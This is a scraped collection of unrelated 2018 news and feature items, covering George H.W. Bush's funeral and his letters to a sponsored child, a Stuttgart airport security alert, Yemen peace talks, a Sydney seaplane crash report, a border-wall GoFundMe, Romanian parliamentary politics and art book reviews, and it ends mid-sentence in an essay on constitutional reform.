The casket with the remains of former US President George H.W. Bush departs the US Capitol during a State Funeral in Washington AFP/Getty Images The casket with the remains of former US President George H.W. Bush departs the US Capitol during a State Funeral in Washington AFP/Getty Images From right, former President George W. Bush, second from right, former first lady Laura Bush, Neil Bush, Sharon Bush, Bobby Koch, Doro Koch, Jeb Bush and Columba Bush stand just prior to a joint services military honor guard carrying the flag-draped casket of former U.S. President George H. W. Bush from the U.S. Capitol to transport it to Washington National Cathedral Getty Images (R-L) Former President George W. Bush, former first lady Laura Bush, Neil Bush, and Sharon Bush, stand as the flag-draped casket of former President George H.W. Bush is carried by a joint services military honor guard EPA Former Vice President Joe Biden (3-L), and his wife Jill Biden (L), speak with Ivanka Trump, the daughter of President Donald Trump (2-L), and her husband, President Donald Trump's White House Senior Adviser Jared Kushner (4-L), as former Vice President Al Gore (2-R), speak to former President Jimmy Carter (R), and former first lady Rosalynn Carter (Bottom-C), before a State Funeral for former President George H.W. Bush EPA The hearse carrying the flag-draped casket of former President George H.W. Bush is driven away from the Capitol to a state funeral at the National Cathedral Getty Images People line the street to see the flag-draped casket of former President George H.W. Bush motorcade to a State Funeral at the National Cathedral, AP "All of the sudden, Mr Bush, who was sitting only a few rows back and surrounded by security, raised his hand and asked for a pamphlet. Some of Timothy's letters to Mr Bush. He had no idea he was writing to a US president / Compassion international/EPA As well as the letters, Mr Bush funded Timothys education, extracurricular activities and some meals. He had to write under a pseudonym for security reasons, but offered plenty of subtle hints about his real identity. Mr Bush had to write under a pseudonym for security reasons, but offered plenty of hints about his real identity / Compassion international/EPA One, from October 2003, read: By the time you get this letter, the president of the United States will have stopped off in the Philippines. He loves the Philippines, I know that for sure. Mr Bush tells Timothy about his dog, Sadie / Compassion International/AFP/Getty Images Another letter made reference to his dog, Sadie. Mr Stafford added: "His letters were the most sweet, spirited letters I have read from any sponsor, but he kept giving hints as to who he could be. He was really pushing the envelope." P olice have stepped up security at airports in Germany amid concerns that extremists may have tried to scope out operations at Stuttgart airport. German media reported on Thursday that security officials are investigating four people after they were spotted staking out the airport. In a tweet, federal police said flights should not be affected by the "robust" police presence at Stuttgart airport. Additional officers were also deployed to smaller airports in Baden-Wuerttemberg state - Friedrichshafen, Karlsruhe/Baden-Baden and Mannheim - as a precaution. Vans of the German Federal Police stand in front of a terminal building / EPA Public broadcaster SWR reported that two of the suspects, a father and son, were spotted taking pictures at France's Charles de Gaulle airport near Paris last week. Last week, a gunman killed five people in an attack on a Christmas market in the French city of Strasbourg, just across the border from Germany. German Federal Police patrols at the airport in Stuttgart / EPA The suspected gunman, 29-year-old Cherif Chekatt, died in a shootout with police two days after the attack on December 11. Chekatt had been on a French intelligence watch list for radicalism and was convicted 27 times for criminal offences in France, Germany and Switzerland. Separately, German authorities said they arrested two men and a woman in southwestern Germany on Wednesday on suspicion of illegal firearms ownership and preparing an attack. Karlsruhe prosecutors said police seized a fully automatic weapon and ammunition in the raid, but that there was no indication of a link to the security alert at the nearby airports. U nited Nations peace negotiators got down yesterday to disengaging the local forces battling for the key port of Hodeidah. The talks had to be conducted by video link as it has proved impossible to get commanders into the same building, let alone the same room. The chief negotiator, retired Dutch general Patrick Cammaert, will not arrive in Yemen until the weekend at the earliest. His small team of UN monitors will be unarmed. There is no mention of a UN peace-keeping force. So far, the local ceasefires are to be managed and monitored by joint patrols of the warring parties, the Houthi militias which hold much of the port itself, and the pro-government forces sponsored by Saudi Arabia and the United Arab Emirates. Both sides have accused each other of violations of a ceasefire that was supposed to start early on Tuesday. The Houthi-sponsored television station claimed that the pro-government forces had carried out more than an hour of steady bombardment in the centre of the town, and areas near the airport had been shelled. Separately the Saudi air force reportedly bombed around the main airport outside Sanaa, the capital. The depth of mistrust across the board in Yemen makes the task of the peace team a mission impossible according to the television station Al Jazeera. The mission is under-resourced and largely out of sight. Despite the continuing fighting and humanitarian crisis, with an estimated 85,000 children dying of starvation since 2015 according to Save the Children, Yemen is fast disappearing from the worlds news headlines. International agencies such as Unicef are launching emergency appeals to help the 22 million Yemenis, including 11.5 million children, now needing humanitarian aid, from medicine to food and shelter. Yet this has hardly made any impact in the international media or on social media platforms. There is a growing recognition that the Yemen crisis, where 27 million people face total social and economic collapse, is beyond the ability of current policies and practices of governments and non-governmental organisations. The country needs reconstruction and aid over generations. A major earthquake with a magnitude of 7.4 has struck off Russia's far east. The quake off Russia's Kamchatka peninsula, which was initially measured at 7.8 before being revised downwards, struck 82km west of Nikolskoye at a depth of 9km. The Pacific Tsunami Warning Centre initially said hazardous tsunami waves from the earthquake were possible within 300 km of the epicentre along the coasts of Russia. However, Russian RIA and TASS news agencies, citing officials at the local Emergencies Ministry, said there was no threat of a tsunami. Russia's Emergencies Ministry said that, according to preliminary information, there was no damage to Kamchatka peninsula. Some small landslides have been reported but there have been no reports of any fatalities. Nikolskoye is a rural fishing and farming town. T he final pictures taken on board a seaplane which plunged into a river last year, killing six people, have been released by Australian investigators. The DHC-2 Beaver, piloted by a Canadian, nose-dived into the Hawkesbury River at Jerusalem Bay, about 30 miles from the city centre. Businessman Richard Cousins, 58, died alongside his 48-year-old fiancee, magazine editor Emma Bowden, her 11-year-old daughter Heather and his sons, Edward, 23, and William, 25, and pilot Gareth Morgan, 44. Australian investigators have released the final images taken on board a flight before it plunged into a river north of Sydney, killing six people. / ATSB The Australian Transport Safety Bureau (ATSB) are yet to determine what caused the crash but in an interim report released on Thursday, investigators said photos and witness accounts have helped them to reconstruct the planes final moments. One of the passengers who was sitting next to the pilot was taking photographs through the window. The last photo shows the plane headed south towards Cowan Bay and witnesses on the ground told investigators the engine sounded normal as it flew above them towards Jerusalem Bay. Officials said the plane suddenly took a steep right turn before nose-diving into the water. Photos taken on a flight before it plunged into a river north of Sydney are helping investigators reconstruct its final moments. / ATSB Earlier this year, flight operator of Sydney Seaplanes described the action as "totally inexplicable". Investigators said the pilot had 10,762 hours of flying experience, including 9,000 hours on float planes and that he seemed normal, upbeat and happy in the days before the flight. The report states there was no evidence of bird strike or pre-existing defects to the plane.There was no voice or flight data recorder on board and neither were required by regulations for an aircraft of such size. Officials said the plane had been involved in a fatal accident in 1996 when it was built for aerial agriculture operations. It was rebuilt in 1999 and converted to a float plane. A crowdfunding campaign to raise $1 billion to build Donald Trumps promised border wall has raised $2.3 million in four days. An Iraq war vet and three limb amputee started the GoFundMe campaign in an effort to help fulfill the US presidents pledge to build a wall at the Mexican border. Mr Trump appears likely to give up his last and best chance to secure $5 billion from Congress for the "beautiful" wall he's long promised to construct, as he backed away from his threat to partially shut down the government on Friday. Conservatives who are fed up with his never-ending campaign have dug deep in an attempt to fund the wall themselves. The unfulfilled pledge also threatens to hang over his re-election campaign, potentially depressing his base and dealing his political rivals a powerful talking point. "I thought if you're going to have a fight, now's the time to have it," said Senator Lindsey Graham, a close ally of the president who warned that it's only going to get more difficult to get the money when Democrats take over. Migrants attempt to cross into the US / EPA Radio host Rush Limbaugh said: Trump should not sign this bill and leave for Mar-a-Lago, and tell them it's not gonna get signed and their precious government's not gonna get back up and running `til there's $5 billion Media editor of The Wrap, John Levine tweeted: This GoFundMe should be proof that the wall was not some "metaphor" for Trump's base; failure to deliver on this promise will have dire consequences in 2020. Meanwhile, liberals mocked the campaign, as one Twitter user quipped: Were gonna build the wall and gofundme is gonna pay for it Florida air force veteran Brian Kolfage, 27, launched the fundraising campaign on Sunday under the title We the people will fund the wall. By Thursday, it had amassed nearly $2.4million in donations. Like a majority of those American citizens who voted to elect President Donald J Trump, we voted for him to Make America Great Again, he writes on the page. President Trumps main campaign promise was to BUILD THE WALL. And as hes followed through on just about every promise so far, this wall project needs to be completed still. Mr Kolfage is a married father of two who lost both legs and his right arm in a 2004 insurgent attack in Iraq. He said: Too many Americans have been murdered by illegal aliens and too many illegals are taking advantage of the United States taxpayers with no means of ever contributing to our society. It's up to Americans to help out and pitch in to get this project rolling,' Mr Kolfage writes. If the 63 million people who voted for Trump each pledge $80, we can build the wall. According to the GoFundMe page, Mr Kolfage has secured a a point of contact at the Trump Administration where the funds will go and adds it has many high level contacts already helping. Mr Trump had originally demanded $5 billion to begin building the wall this year, but the White House acknowledged this week that he is willing to settle for far less. The temporary measure offers just $1.3 billion for border security fencing and other improvements. That money cannot be used for new wall construction. R ussia's president Vladimir Putin has delivered his views on Brexit saying that Theresa May must enact the will of the people. Speaking in his end of year press conference, Mr Putin stressed the importance of the government getting out of this deadlock. In terms of Brexit, if it is carried through to the end, I can understand the prime ministers position. There was a referendum after all. What can she do? he said. Mr Putin added: She must enact the will of the people, expressed during the referendum. He said that Russias relations with Britain were deadlocked but that Moscow was interested in restoring them from their current low. Mr Putin said he could understand the prime minister's situation / AFP/Getty Images Mr Putin claimed that the Skripal poisoning was simply an excuse to organise yet another attack on Russia. If there were no Skripals, they would have come up with something else, thats clear to me. But he said that its good that he wasnt killed. Thank God, Skripal is alive. Former spy Sergei Skripal and his daughter Yulia were poisoned in Salisbury in March. The UK claims that the poisoning was carried out by Russian operatives. Russian spy 'poisoning': Sergei and Yulia Skripal were poisoned in March / PA In July, Dawn Sturgess died from coming into contact with the same Novichok nerve agent. Her partner Charlie Rowley survived. The news conference, which lasted three hours, is in its 14th year. It is used by Putin to burnish his leadership credentials and send messages to foreign allies and foes. Putin won a landslide re-election victory in March, giving him six more years in power. That will take his political dominance of Russia to nearly a quarter of a century, until 2024, by which time he will be 71. Though he faces no serious political threat for now, plans to sharply raise the pension age saw his approval rating fall to below 60 percent for the first time in five years according to a poll published by the Levada Centre last month. Putin, 66, has been in power, either as president or prime minister, since 1999. F rom a heavyweight life of Lucian Freud to masterpieces from the Renaissance, there are plenty of new books to please every art lover. As 2018 draws to a close it is a real joy to be able to report that the monograph by which I mean a book devoted to a single artist is still very much alive and well, and indeed that a whole crop of outstanding examples have recently seen the light of day. It is with them that this round-up will begin. Lucian Freud by Martin Gayford and David Dawson The literally weightiest books this year are the two volumes of Martin Gayford and David Dawsons Lucian Freud, which represent by far the fullest illustrated record of his artistic production ever published. The images are what matter most but they are accompanied by Gayfords short and compelling introduction, which is followed by decade-by-decade accounts of the progress of the artists career, beginning with the intriguing juvenilia of the later 1930s and concluding with the works he left unfinished at his death in 2011. No doubt at some future date a terrifyingly scholarly catalogue raisonne of Freuds oeuvre will be undertaken and will reveal the identities of virtually all his sitters not just a tantalising selection of them but in the meantime this heroic achievement is bound to serve as the best possible guide to his restlessly various production. 395 | Phadion | Buy it now Bruegel: The Complete Works by Jurgen Muller and Thomas Schauerte A close second to these mighty tomes is Jurgen Muller and Thomas Schauertes Bruegel: The Complete Works. In fact, and in spite of its distinctly tight-lipped title, there were small hordes of artistic Bruegels and Brueghels, who spelled their surnames slightly differently although all belonged to the same tribe, but the one who really matters is this books hero, the founding father of the dynasty, Pieter the Elder. Here complete truly means complete, so all his known drawings and prints are given appropriately thorough coverage, but it is inevitably his forty-odd paintings that steal the show. Not a single one of them disappoints, but better yet it is possible to explore them in eye-watering close-up, at times across four-page fold-outs which are almost as thrilling as the real deal. As it happens, the most comprehensive exhibition of Pieter the Elders paintings ever held is currently nearing its end in Vienna (closes January 13), so this wonderful anthology is at least some consolation for those of us who are resigned to being doomed to miss it. Closer to home, the National Gallerys marvellous Mantegna and Bellini show likewise continues into the New Year (closes January 27), and half of its double-act of brothers-in-law is the subject of a new study. 150 | Taschen | Buy it now Giovanni Bellini: The Art of Contemplation by Johannes Grave Johannes Graves Giovanni Bellini: The Art of Contemplation is a fulldress consideration of the first great painter of the Venetian Renaissance, but it is absolutely not a straightforward cradle-to-grave survey of his work. Instead, and for all that there is a loose chronological progression, each of its 11 chapters is given over to a particular theme portraiture, the altarpiece, and so on which only adds to its appeal. Gianlorenzo Bernini is such a towering figure within the history of the baroque that at least until recently those sculptors unlucky enough to be his contemporaries have tended to be overlooked. Happily, both Algardi and Duquesnoy have found their respective champions in Jennifer Montagu and Estelle Lingo. 91.38 | Amazon | Buy it now Mochis Edge and Berninis Baroque by Estelle Lingo Now, with the appearance of the latters Mochis Edge and Berninis Baroque, a third major 17th-century Roman sculptor finally emerges into the limelight. As a matter of fact, Mochi was in a sense always hiding in plain sight, since what is arguably his masterpiece, the Saint Veronica, is one of the four colossal marble statues that adorn the piers of the crossing of Saint Peters, and gives Berninis neighbouring Saint Longinus a real run for its money. Not all Mochis major works are to be found in Rome, so converts to his highly personal art will want to make pilgrimages to Orvieto to marvel over his marble Annunciation group and its extraordinary draperies, and to Piacenza to admire his stunningly vast and energetic equestrian bronzes of Alessandro and Ranuccio Farnese. 85 | Waterstones | Buy it now Peter Lanyon: Catalogue Raisonne of the Oil Paintings and Three-Dimensional Works by Toby Treves Toby Trevess Peter Lanyon: Catalogue raisonne of the Oil Paintings and Three-Dimensional Works is the definitive account of the career of one of the leading artists not just of the St Ives School, but also of postwar British painting. In the nature of things, not every single work requires uniform treatment but the more significant pieces are without fail accorded exemplary catalogue entries, which amount to mini-monographs and pay particular attention to the technical aspects of their creation. In addition, the catalogue proper is preceded by essays by Treves, Sam Smiles and Mary Bustin. John Golding was a hugely important historian of 20th-century art and just about the most radiantly lucid lecturer I have ever been fortunate enough to hear, but he was also and this may explain many of his gifts as a writer who seems to have an insiders understanding a painter. 150 | Waterstones | Buy it now John Golding by Dawn Ades, David Anfam, Elizabeth Cowling, and Christopher Green Now Dawn Ades, David Anfam, Elizabeth Cowling, and Christopher Green a distinctly stellar line-up of talents, all of whom he inspired have joined forces to produce the simply titled John Golding, which is a revelatory overview of his production. If Golding is best known for the coolly geometrical abstracts he actually executed for less than a decade, from the mid-1960s to the early 1970s, both the early figurative works and the boldly gestural and colouristically adventurous efforts of his later years are full of surprises. 29.95 | Blackwell | Buy it now Armenia: Art, Religion, and Trade in the Middle Ages by Helen C Evans Moving on to more general studies, it should come as no surprise if one or two of them are exhibition catalogues. One such is Helen C Evanss catalogue of the show Armenia: Art, religion, and Trade in the Middle Ages, currently running at the Metropolitan Museum of Art in New York (closes January 13). Like all self-respecting exhibition catalogues these days, it combines a detailed examination of the actual contents of the show with a broad picture of what fishermen would call the ones that got away. In Armenian art of the Middle Ages, the finest accomplishments are the illuminated manuscripts, and they shine here, alongside metalwork and carvings in wood and stone, but obviously the astonishing treasures of Armenian early medieval ecclesiastical architecture cannot move. However, even a mere photograph of the early 10th-century Church of the Holy Cross at Aghtamar on an island in the middle of Lake Van fills one with a longing to jump on the next plane heading in that direction. It is hard to imagine that many institutions on Earth have more pulling power than the Met when it comes to obtaining loans. The same cannot be said of Fairfield University in Philadelphia, yet this Jesuit college managed to secure Berninis haunting marble bust of Cardinal Robert Bellarmine from the Church of the Gesu in Rome and much else besides for an entirely remarkable show. 45 | Amazon | Buy it now The Holy Name: Art of the Gesu Bernini and his Age by Linda Wolk Simon Nevertheless, when it comes to its monumental catalogue, Linda Wolk Simons The Holy Name: Art of the Gesu Bernini and his Age, it is the first 408 of its 639 pages that make it so special, because they comprise no fewer than 13 impeccably scholarly and lavishly illustrated essays by leading experts that add up to the most authoritative account of the Gesu and its contents in existence. Viewed from the outside, it may well seem as if there can be nothing new to say about the art of the Italian Renaissance, and while nothing could be further from the truth, it certainly helps to have an original point of view. $50 | Saint Josephs University Press | Buy it now Seen from Behind: Perspectives on the Male Body and Renaissance Art by Patricia Rubin In the case of Patricia Rubins Seen from Behind: Perspectives on the Male Body and Renaissance Art, both its title and the pert-cheeked focus of its cover, which is extracted from a panel by Luca Signorelli, ensure that we are not kept guessing what it is rear-ly about. However, it is important to add that Rubins great strength is not just her theme, but above all the way she writes about both old favourites and generally overlooked delights, and it is crucial to add that her avid gaze is by no means limited to the Renaissance a back view of Leigh Bowery by Lucian Freud and a related New Yorker cartoon are among her wonderfully eclectic cast of characters. 45 | Yale Books | Buy it now Art and Violence in Early Renaissance Florence by Scott Nethersole and Veiled Presence: Body and Drapery from Giotto to Titian by Paul Hills Two other comparably focused studies of Italian art of the period are Scott Nethersoles Art and Violence in Early Renaissance Florence (Yale, 60) and Paul Hillss Veiled Presence: Body and Drapery from Giotto to Titian (Yale, 45). The former directs a clear-sighted spotlight on an area it is impossible to avoid but easy to underplay, and sees it from a range of perspectives, while the latter is a wakeup call directed at those of us who are more likely to concentrate on the characters depicted in Renaissance art than on the clothes they wear. Paintings and sculptures tend to rule the roost in most museums, and the term decorative arts arguably entrenches a bigoted conception of the inferiority of everything else, but in the Ashmolean in Oxford they fare considerably better. Italian Maiolica and Europe by Timothy Wilson As its title indicates, Timothy Wilsons exemplary Italian Maiolica and Europe (Ashmolean, 60) is the catalogue of the museums spectacular collection of tin-glazed pottery, above all from Italy, but also from elsewhere in Europe. The high season of maiolica did not last for all that long, but its combination of radiant colour and elaborate figurative narratives makes for a unique look, whose supreme exponents especially Nicola da Urbino and Francesco Xanto Avelli are splendidly represented here. Robert Adam and Diocletians Palace in Split edited by Josko Belamaric and Ana Sverko One of Chester Kallmans best jokes was: See Naples and die see Dubrovnik and Split! Of course, anyone who has seen Split will know its main attraction, which is the subject of Robert Adam and Diocletians Palace in Split, edited by Josko Belamaric and Ana Sverko (Skolska Knjiga, 45), a wide-ranging collection of essays arising out of an academic conference that are topped and tailed by Adams plates of 1764 and an evocative photographic record of its present appearance. 47.44 | Blackwells | Buy it now Vienna 1900 Complete by Christian Brandstatter, Daniela Gregori, and Rainer Metzger The first 120-odd pages of Christian Brandstatter, Daniela Gregori, and Rainer Metzgers Vienna 1900 Complete (Thames & Hudson, 85) are given over to painting and drawing, but the remaining 200 and more are devoted to what it refers to as the applied and decorative arts, and also architecture. The range of material on offer is remarkable, as is the grand total of over 1,250 illustrations, with glass, ceramics, metalwork, fashion, photography, textiles, jewellery, graphic design and the art of the book, and furniture all having individual sections devoted to them. 55.25 | Amazon | Buy it now Heaven on Earth: Painting and the Life to Come by T J Clark Last but absolutely not least is T J Clarks Heaven on Earth: Painting and the Life to Come (Thames & Hudson, 24.95), an inspiring demonstration of the fact that for the Happy Few it is perfectly possible to combine revelatory looking and the ultimate in close attention to visual detail with profundity of argument and supremely confident understanding of the bigger picture. It is an open question whether Clark has carefully selected the individual works by Giotto, Bruegel, Poussin, Veronese and Picasso in that unobvious order or whether they have selected him, but in any event the subtlety of his overarching thesis means there it is no way it can be reduced to a glib summary. Instead, it demands to be read from cover to cover, and happily the flow of his prose and the clarity of his argument mean that the experience is a singular delight. 8. Ratatouille In the immortal words of UB40, 'There's a rat in mi kitchen, what am I gonna do?' Like so many Disney Pixar movies Ratatouille teaches the importance of following our dreams no matter what the limitations. The film follows Remy the rat, who teams up with hapless kitchen assistant Alfredo to act on his passion for cooking. Its one of the most evocative films Pixar have produced and viewers can almost feel the warmth and smells of the French kitchens featured in the movie. Interestingly, Pixar achieved the realistic look of the food by creating over 270 dishes from scratch and photographing each piece individually. The incredible eye for detail that helps make this one of the most engaging Pixar has produced to date, while the heart-warming story also makes it one of the most rewarding. M acaulay Culkin has been hailed as the saviour of 2018 after he reprised his role as cheeky Kevin McCallister for a Home Alone Google ad. Culkin, 38, returned to the famous house where he tortured hapless crime duo Harry and Marv, aka the Wet Bandits, 28 years ago, after his family forgot to take him on holiday. The one minute ad sees Culkin recreating famous scenes from the hit festive flick including telling the pizza delivery guy to keep the change you filthy animal and setting traps for Harry and Marv. Culkin tweeted the video alongside the post: #heygoogle Have you ever wondered what Kevin McCallister is like as an adult? Me neither. But just in case youre curious you should totally watch this #ad. Fans were bowled over by the ad which sparked a flurry of questions including one from a fan who was concerned for Kevin still living with his parents and continuing to be stalked by criminals. Culkin replied: He's housesitting for Mom. Macaulay Culkin returns home in Google Advert - In pictures 1 /11 Macaulay Culkin returns home in Google Advert - In pictures Macaulay Culkin Re-Creates 'Home Alone' Scenes in new advert for Google Assistant Google Macaulay Culkin in a scene from the original film by 20th Century Fox 20th Century Fox Macaulay Culkin Re-Creates 'Home Alone' Scenes in new advert for Google Assistant Google Macaulay Culkin in a scene from the original film by 20th Century Fox 20th Century Fox Macaulay Culkin Re-Creates 'Home Alone' Scenes in new advert for Google Assistant Google Macaulay Culkin in a scene from the original film by 20th Century Fox 20th Century Fox Macaulay Culkin Re-Creates 'Home Alone' Scenes in new advert for Google Assistant Google Macaulay Culkin in a scene from the original film by 20th Century Fox Macaulay Culkin Re-Creates 'Home Alone' Scenes in new advert for Google Assistant Google Macaulay Culkin Re-Creates 'Home Alone' Scenes in new advert for Google Assistant Google Macaulay Culkin Re-Creates 'Home Alone' Scenes in new advert for Google Assistant Google Another fan referenced a scene in which Kevin buys himself a toothbrush, tweeting: Only thing missing was Kevin asking Google if this toothbrush was approved by the American Dental Association. Culkin replied: We actually shot that bit. Didn't make the final cut I guess. Others were super excited Kevin finally got to tuck into the macaroni cheese ready meal after 28 years with one tweeting: AS A PERSON WHO CRINGES EVERY TIME THEY WATCH THE PART IN HOME ALONE WHERE KEVIN DOESN'T EAT THE MAC AND CHEESE, I CANNOT TELL YOU HOW SATISFYING THIS IS. I MIGHT EVEN BUY A GOOGLE THING CAUSE OF THIS. Home Alone is frequently ranked as one of the best Christmas films of all time. It spawned four sequels including Home Alone 2: Lost in New York which was the last one starring Culkin. Countries & Areas Search for country or area A Afghanistan Albania Algeria Andorra Angola Antigua and Barbuda Argentina Armenia Australia Austria Azerbaijan B Bahamas Bahrain Bangladesh Barbados Belarus Belgium Belize Benin Bhutan Bolivia Bosnia and Herzegovina Botswana Brazil Brunei Bulgaria Burkina Faso Burma Burundi C Cabo Verde Cambodia Cameroon Canada Central African Republic Chad Chile China Colombia Comoros Costa Rica Cote dIvoire Croatia Cuba Cyprus Czechia D Democratic Republic of the Congo Denmark Djibouti Dominica Dominican Republic E Ecuador Egypt El Salvador Equatorial Guinea Eritrea Estonia Eswatini Ethiopia F Fiji Finland France G Gabon Gambia Georgia Germany Ghana Greece Grenada Guatemala Guinea Guinea-Bissau Guyana H Haiti Holy See Honduras Hungary I Iceland India Indonesia Iran Iraq Ireland Israel Italy J Jamaica Japan Jordan K Kazakhstan Kenya Kiribati Kosovo Kuwait Kyrgyzstan L Laos Latvia Lebanon Lesotho Liberia Libya Liechtenstein Lithuania Luxembourg M Madagascar Malawi Malaysia Maldives Mali Malta Marshall Islands Mauritania Mauritius Mexico Micronesia Moldova Monaco Mongolia Montenegro Morocco Mozambique N Namibia Nauru Nepal Netherlands New Zealand Nicaragua Niger Nigeria North Korea North Macedonia Norway O Oman P Pakistan Palau Palestinian Territories Panama Papua New Guinea Paraguay Peru Philippines Poland Portugal Q Qatar R Republic of the Congo Romania Russia Rwanda S Saint Kitts and Nevis Saint Lucia Saint Vincent and the Grenadines Samoa San Marino Sao Tome and Principe Saudi Arabia Senegal Serbia Seychelles Sierra Leone Singapore Slovakia Slovenia Solomon Islands Somalia South Africa South Korea South Sudan Spain Sri Lanka Sudan Suriname Sweden Switzerland Syria T Taiwan Tajikistan Tanzania Thailand Timor-Leste Togo Tonga Trinidad and Tobago Tunisia Turkey Turkmenistan Tuvalu U Uganda Ukraine United Arab Emirates United Kingdom Uruguay Uzbekistan V Vanuatu Venezuela Vietnam Y Yemen Z Zambia Zimbabwe Prime Minister Viorica Dancila on Thursday reproached the Opposition in the plenary sitting of Parliament that their "attitude is just for show" in respect to Justice Minister Tudorel Toader, and that, if the vote was secret in Parliament regarding Toader, the latter's supporters would exceed the PSD-ALDE (Social Democratic Party - Alliance of Liberals and Democrats) parliamentary majority. Read also: President Iohannis: 'When I attend Gov't meetings, I preside them; Gov't bears responsibility for agenda' "You publicly criticize Mr. Minister Tudorel Toader, for the justice reform he has been doing and for the manner in which he acts to stop abuses in the justice field. Dear colleagues of mine from the Opposition, let's be honest! I believe that, had the vote on maintaining versus removing Mr. Tudorel Toader in office as Minister of Justice been secret, the number of votes in his favour would exceed by far the majority that we now hold in Parliament. You know this very well that many of you are very glad because Mr. Minister Tudorel Toader did what he did. Let's be honest! Among you too were persons who were facing abusive investigations, even if their number is smaller than in the case of PSD, for you were not the main target of these abuses. This attitude just for show doesn't suit you! And I mean first of all the PNL (National Liberal Party), which should be defending the individual against the abuses of the state, like were those in the justice field, for this is the essence of Liberalism. You better concern yourselves with the serious violations of the human rights," said the prime Minister, at the debate on the motion of censure initiated by the PNL, USR (Save Romania Union) and PMP (People's Movement Party). AGERPRES . The joint plenary session of the Chamber of Deputies and the Senate rejected on Thursday the censure motion called "Enough! The Dragnea - Dancila Government, Romania's shame!," initiated by the National Liberal Party (PNL), the Save Romania Union (USR) and the People's Movement Party (PMP). Read also: PM Dancila about fiscal measures announced by FinMin: 'Gov't won't give up this Ordinance' The leader of the Social Democrat MPs, Daniel Suciu, mentioned that a number of 161 Parliament members voted in favour and 3 voted against. In order to be adopted, the motion required a minimum of 233 votes in favour. The Social Democratic Party (PSD), the Alliance of Liberals and Democrats (ALDE) and the Hungarian Democratic Union of Romania (UDMR) Parliament members attended the session, but did not cast a vote. AGERPRES . Minister-delegate for European Affairs George Ciamba on Wednesday had in Brussels meetings with the European Commissioner for Trade, Cecilia Malmstrom, and the European Commissioner for Economic and Financial Affairs, Taxation and Customs, Pierre Moscovici. The main topics discussed at the bilateral meeting with European Commissioner Cecilia Malmstrom were related to Romania's priorities during the time when it holds the presidency of the Council of the EU, as well as topics of common interest regarding the recent developments in international trade, with emphasis on the role and importance of strengthening the multilateral trading system, Brexit and other bilateral trade negotiations processes, carried out between the EU and third parties partners, reads a release of the Ministry of Foreign Affairs (MAE) sent to AGERPRES. Read also: PM Dancila: 'I will participate in Belgrade on Friday and Saturday in the quadrilateral Romania-Bulgaria-Greece-Serbia meeting' On this occasion, the interlocutors highlighted the importance of the recent ratification by the European Parliament of the EU-Japan Economic Partnership Agreement, in the current international trade context and voiced belief that during the time when Romania is holding the Romanian presidency of the Council of EU there might also be new progresses recorded with respect to the signing and adoption of other trade agreements negotiated by the EU with partners such as Singapore and Vietnam. Minister-delegate George Ciamba also had a meeting with European Commissioner Pierre Moscovici, with whom he discussed the priorities and perspectives for the main files to be dealt with by Romania when holding the presidency of the Council of EU in respect to the strengthening of the Economic and Monetary Union and taxation. On this occasion, the Romanian dignitary reiterated Romania's commitment to continue with efforts to advance the files regarding the strengthening of the MEU, including the proposal regarding the InvestEU, as well as the ones regarding the taxation policy. The Minister-delegate for European Affairs highlighted the importance of advancing negotiations regarding the future Multiannual Financial Framework post-2020, whose evolution will determine the progress of other initiatives at European level. AGERPRES . Former head of the National Tax Administration Agency (ANAF) Serban Pop will be released from jail, after the High Court of Cassation and Justice (ICCJ, Supreme Court, ed. n.) decided the suspension of the execution of the 5-year jail sentence in an influence peddling criminal file. President Klaus Iohannis on Thursday said that his participation in the government meeting takes place by virtue of the powers set in Romania's Constitution. Read also: President Iohannis welcomes Austrian Chancellor to discuss priority topics on European agenda "My participation in the government meeting takes place by virtue of the powers awarded to Romania's President in Romania's Constitution. More exactly, for the specialists, I am talking about the powers in articles 80, 86 and 87," Iohannis said in the beginning of the government meeting. According to him, the President's presence in the government meetings cannot be restricted nor limited. AGERPRES . Prime Minister Viorica Dancila announced that Friday Austria's Chancellor will be paying a visit to Bucharest, the discussions going to be aimed at both the bilateral relations and as efficient as possible coordination of topics on the European agenda in the context of the effective transfer between the Austria and Romania of the Presidency of the EU Council. "As Mr. President has pointed out as well, we'll be receiving tomorrow the official visit of the Chancellor of the Federal Republic of Austria, in the context of Romania taking over the Presidency of the EU Council. It is a good opportunity both to consolidate the Romanian-Austrian political dialogue and to capitalise on the entire potential of the bilateral economic and trade relations. Certainly, we'll have talks about ensuring as best and efficient as possible coordination of the topics on the European agenda in respect to the smooth and effective transfer between the two rotating presidencies of the Council of the European Union," Dancila said, during the government meeting, also attended by President Klaus Iohannis. Read also: Ciamba meets European Commissioners in Brussels; Brexit and transatlantic relation - among topics on agenda The Prime Minister pointed out that topics on the European agenda will be tackled, with a special focus on cohesion. "Cohesion is also the motto of the Presidency of the Council of EU during Romania's mandate," Dancila said. According to her, convergence, digitalisation, connectivity, innovation, keeping a safe Europe will also be discussed. "Certainly, I also want to bring to the forefront things related to a good cooperation in terms of economy between Romania's Government and the Government of Austria," Prime Minister Dancila added. AGERPRES . President Klaus Iohannis will welcome Austrian Chancellor Sebastian Kurz at the Cotroceni Presidential Palace on Friday, with whom he will discuss priority themes on the European agenda. The two officials will hold tete-a-tete and official talks and will hold a joint press statement. According to a press release from the Presidential Administration, talks between President Klaus Iohannis and Chancellor Sebastian Kurz will address priority themes on the European agenda, such as the reflection on the future of the European Union, the post-2020 EU budget, the withdrawal process of the United Kingdom from the EU, elections to the European Parliament. Issues regarding the bilateral relationship between Romania and Austria will be also discussed.The Austrian official's visit to Romania takes place in the context of Romania taking over the Presidency of the Council of the European Union from Austria as of 1 January 2019. Nacogdoches, TX (75965) Today Areas of dense morning fog. Mostly cloudy. High 77F. Winds SW at 5 to 10 mph.. Tonight Mostly cloudy skies this evening will become partly cloudy after midnight. Low 56F. Winds light and variable. The battle is not over yet: President Sirisena and Prime Minister Ranil Wickremesinghe greet each other after the latter was sworn in as prime minister on Sunday. or forms of government, let fools contend; whatever is best administered is best, said Alexander Pope. The 18th century poets one-liner still rings true, in the context of ceaseless constitutional crises and ubiquitous debates over political reforms. No country is an exception. Even in Saudi Arabia, arguably the most rigid monarchy, political reform is a major demand of the dissidents. This was amply reported in news items on the recent killing of journalist and democracy activist Jamal Khashoggi. In the United States, the call for political reforms is widespread. Hundreds of resolutions are proposed every congressional term to amend the US Constitution. It is said that from 1789 till January 3, 2017, about 11,699 measures have been proposed to amend the US Constitution. In the United Kingdom, too, political reforms are an ongoing process; more so, after the 1998 Good Friday Agreement in Northern Ireland. The nature of the union has undergone drastic change, with not only Northern Ireland, but also Scotland and Wales getting parliaments or assemblies of their own. Although sacrosanct, constitutions should not be airtight. When the exigencies of the situation demand, constitutional changes need to be done. That is why constitution framers include provisions outlining the process to change or replace 